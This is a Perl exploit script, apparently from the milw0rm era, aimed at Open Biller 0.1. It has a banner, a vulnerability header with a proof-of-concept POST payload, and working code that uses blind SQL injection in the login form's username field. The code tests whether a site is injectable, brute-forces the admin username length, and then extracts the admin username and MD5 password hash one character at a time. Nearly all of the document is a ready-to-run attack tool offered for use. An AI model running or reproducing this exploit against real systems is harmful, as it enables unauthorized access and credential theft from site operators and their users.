#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
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#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []    []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**                                                    **
#**                                **
#**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
#**            ¡PROUD TO BE SPANISH!                                **
#**                            **
#***********************************************************************************************
#***********************************************************************************************
#
#---------------------------------------------------------------------------------------------
#|                 (Post Form login var 'username') BLIND SQLi exploit                |
#|-------------------------------------------------------------------------------------------|
#|                                    |    Open Biller 0.1    |                       |
#|  CMS INFORMATION:                  ------------------------                                |
#|                                 |
#|-->WEB: http://sourceforge.net/projects/geekbill/                      |
#|-->DOWNLOAD: http://sourceforge.net/projects/geekbill/                         |
#|-->DEMO: N/A                         |
#|-->CATEGORY: CMS / Portal                     |
#|-->DESCRIPTION: Open Biller aims to to be a the best open source billing                   |
#|    system on the planet.The system is written in PHP/MYSQL...                   |
#|-->RELEASED: 2009-05-31                     |
#|                           |
#|  CMS VULNERABILITY:                       |
#|                           |
#|-->TESTED ON: firefox 3                                 |
#|-->DORK: N/A                               |
#|-->CATEGORY: BLIND SQLi exploit                         |
#|-->AFFECT VERSION: CURRENT                      |
#|-->Discovered Bug date: 2009-06-09                   |
#|-->Reported Bug date: 2009-06-09                   |
#|-->Fixed bug date: N/A                     |
#|-->Info patch: N/A                       |
#|-->Author: YEnH4ckEr                       |
#|-->mail: y3nh4ck3r[at]gmail[dot]com                   |
#|-->WEB/BLOG: N/A                       |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.      |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)         |
#---------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://[HOST]/[PATH]/index.php HTTP/1.1
#Host: [HOST]
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
#Referer: http://[HOST]/[PATH]/
#
#username=%27+or+1%3D0%23&pass=1111&submit=Login
#
#username=%27+or+1%3D0%23&pass=1111&submit=Login
#
##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
  my $SO = $^O;
  my $linux = "";
  if (index(lc($SO),"win")!=-1){
    $linux="0";
  }else{
    $linux="1";
  }    
  if($linux){
    system("clear");
  }
  else{
    system("cls");
    system ("title Open Biller 0.1 Blind SQL Injection Exploit");
    system ("color 04");
  }
}
sub request {
  my $userag = LWP::UserAgent->new;
  $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
  $request = HTTP::Request -> new(POST => $_[0]);
  $request->referer($_[0]);
  $request->content_type('application/x-www-form-urlencoded');
  $request->content($_[1]);
  my $outcode= $userag->request($request)->as_string;
  #print $outcode; #--> Active this line for debugger mode
  #print $request->as_string; #--> Active this line for debugger mode
  return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
  print "\tWeb isn't vulnerable!\n\n";
  print "\t--->Maybe:\n\n";
  print "\t\t1.-Patched.\n";
  print "\t\t2.-Bad path or host.\n";
  print "\t\t5.-Magic quotes ON'.\n";
  print "\t\tEXPLOIT FAILED!\n";
  print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
  print "\t-----------------------------------------------------------------\n";
  print "\tWEB MAYBE BE VULNERABLE!\n\n";
  print "\tTested Blind SQL Injection.\n";    
  print "\tStarting exploit...\n"; 
  print "\t-----------------------------------------------------------------\n\n";
}
sub helper {
  print "\n\t[!!!] Open Biller 0.1 Blind SQL Injection Exploit\n";
  print "\t[!!!] USAGE MODE: [!!!]\n";
  print "\t[!!!] perl $0 [HOST] [PATH]\n";
  print "\t[!!!] [HOST]: Web.\n";
  print "\t[!!!] [PATH]: Home Path.\n";
  print "\t[!!!] Example: perl $0 'www.example.com' 'demo'\n";
}
sub brute_length{
#Username length
$exit=0;
$i=0;
while($exit==0){
  my $blindsql="username='+OR+1=1+AND+(SELECT+length(username)+FROM+users+WHERE+ID=1)=".$i++."#&pass=1111&submit=Login"; #injected code
  $output=&request($_[0],$blindsql);
  if($output =~ (/Incorrect password, please try again./)){
    $exit=1;
  }else{
    $exit=0;
  }
  #This is the max length of username
  if($i>60){
  &error;
  exit(1);
  }
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength Username --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
  $z=45;
  while(($k<=$_[1]) && ($z<=126)){
    my $blindsql="username='+OR+1=1+AND+ascii(substring((SELECT+".$_[2]."+FROM+users+WHERE+ID=1),".$k.",1))=".$z."#&pass=1111&submit=Login";
    $output=&request($_[0],$blindsql);
    if($output =~ (/Incorrect password, please try again./))
    {
      $values=$values.chr($z);
      $k++;
      $z=45;
    }
#new char
  $z++; 
  }
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##   Open Biller 0.1 Blind SQL Injection Exploit     ##\n\n";
print "\t##           Blind SQL Injection Exploit             ##\n\n"; 
print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
$numArgs = $#ARGV + 1;
if($numArgs<=1) 
  {
    &helper;
    exit(1);  
  }  
#Build uri
my $finalhost="http://".$host."/".$path."/index.php";
$finalrequest = $finalhost;  
#Testing blind sql injection and magic_quotes (any error?)
$send_post1="username=%27+or+1%3D1%23&pass=1111&submit=Login";
$output1=&request($finalrequest,$send_post1);
$send_post2="username=%27+or+1%3D0%23&pass=1111&submit=Login";
$output2=&request($finalrequest,$send_post2);
if ($output1 eq $output2)
{    
  #Not injectable
  &error;
  exit(1); 
}else{ 
  #blind sql injection is available
  &testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest);  
#Bruteforcing username...
$user=&exploiting($finalrequest,$length_user,'username');
#Bruteforcing password md5 hash...
$pwhash=&exploiting($finalrequest,32,'password');
#final checking
if((!$user) || (!$pwhash)){
  &error;
  exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t*********  EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pwhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3nh4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done